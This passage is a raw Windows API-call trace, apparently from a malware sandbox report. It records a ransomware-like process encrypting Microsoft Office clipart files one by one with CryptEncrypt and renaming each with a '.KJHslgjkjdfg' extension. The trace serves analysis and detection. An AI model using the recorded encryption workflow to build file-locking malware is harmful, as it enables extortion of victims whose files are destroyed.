0x2a0000 [0174.208] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.208] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.208] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.208] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.208] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.208] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.208] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.208] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.209] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.209] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.209] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.209] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.209] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x812c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x812c, lpOverlapped=0x0) returned 1 [0174.210] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8130, dwBufLen=0x8130 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8130) returned 1 [0174.211] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.211] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8130, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8130, lpOverlapped=0x0) returned 1 [0174.211] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.211] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.211] SetEndOfFile (hFile=0x114) returned 1 [0174.213] GetProcessHeap () returned 0x2a0000 [0174.213] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.213] GetProcessHeap () returned 0x2a0000 [0174.214] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.214] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf.kjhslgjkjdfg")) returned 1 [0174.215] CloseHandle (hObject=0x114) returned 1 [0174.215] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x778, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153087.WMF", cAlternateFileName="")) returned 1 [0174.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.216] GetProcessHeap () returned 0x2a0000 [0174.216] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.216] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.216] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.216] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.218] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.218] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.219] GetProcessHeap () returned 0x2a0000 [0174.219] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.219] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.219] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.219] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.219] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.219] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.219] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.219] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.219] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.219] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.219] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x778, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x778, lpOverlapped=0x0) returned 1 [0174.219] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x780, dwBufLen=0x780 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x780) returned 1 [0174.219] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.219] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x780, lpOverlapped=0x0) returned 1 [0174.220] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.220] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.220] SetEndOfFile (hFile=0x114) returned 1 [0174.222] GetProcessHeap () returned 0x2a0000 [0174.222] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.222] GetProcessHeap () returned 0x2a0000 [0174.222] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.222] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf.kjhslgjkjdfg")) returned 1 [0174.224] CloseHandle (hObject=0x114) returned 1 [0174.224] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ea8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153089.WMF", cAlternateFileName="")) returned 1 [0174.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.225] GetProcessHeap () returned 0x2a0000 [0174.225] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.225] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.225] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.225] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.231] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.231] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.231] GetProcessHeap () returned 0x2a0000 [0174.231] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.231] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.231] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.231] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.231] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.231] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.231] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.231] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.231] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.231] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.232] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.232] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.232] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1ea8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1ea8, lpOverlapped=0x0) returned 1 [0174.233] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1eb0, dwBufLen=0x1eb0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1eb0) returned 1 [0174.233] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.233] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1eb0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1eb0, lpOverlapped=0x0) returned 1 [0174.234] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.234] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1f84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.234] SetEndOfFile (hFile=0x114) returned 1 [0174.236] GetProcessHeap () returned 0x2a0000 [0174.236] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.236] GetProcessHeap () returned 0x2a0000 [0174.237] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.237] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf.kjhslgjkjdfg")) returned 1 [0174.238] CloseHandle (hObject=0x114) returned 1 [0174.238] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153091.WMF", cAlternateFileName="")) returned 1 [0174.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.240] GetProcessHeap () returned 0x2a0000 [0174.240] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.240] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.240] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.240] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.247] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.247] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.247] GetProcessHeap () returned 0x2a0000 [0174.247] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.247] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.247] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.247] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.247] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.309] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.309] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.309] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.309] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.309] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.309] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.310] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.310] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1fc8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1fc8, lpOverlapped=0x0) returned 1 [0174.321] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1fd0, dwBufLen=0x1fd0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1fd0) returned 1 [0174.322] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.322] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1fd0, lpOverlapped=0x0) returned 1 [0174.322] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.322] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x20a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.322] SetEndOfFile (hFile=0x114) returned 1 [0174.325] GetProcessHeap () returned 0x2a0000 [0174.325] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.325] GetProcessHeap () returned 0x2a0000 [0174.325] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.325] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf.kjhslgjkjdfg")) returned 1 [0174.327] CloseHandle (hObject=0x114) returned 1 [0174.327] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153093.WMF", cAlternateFileName="")) returned 1 [0174.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.328] GetProcessHeap () returned 0x2a0000 [0174.328] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.328] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.328] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.328] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.328] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.328] GetProcessHeap () returned 0x2a0000 [0174.328] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.328] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.328] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.328] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.339] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.339] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.339] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.339] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.340] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, 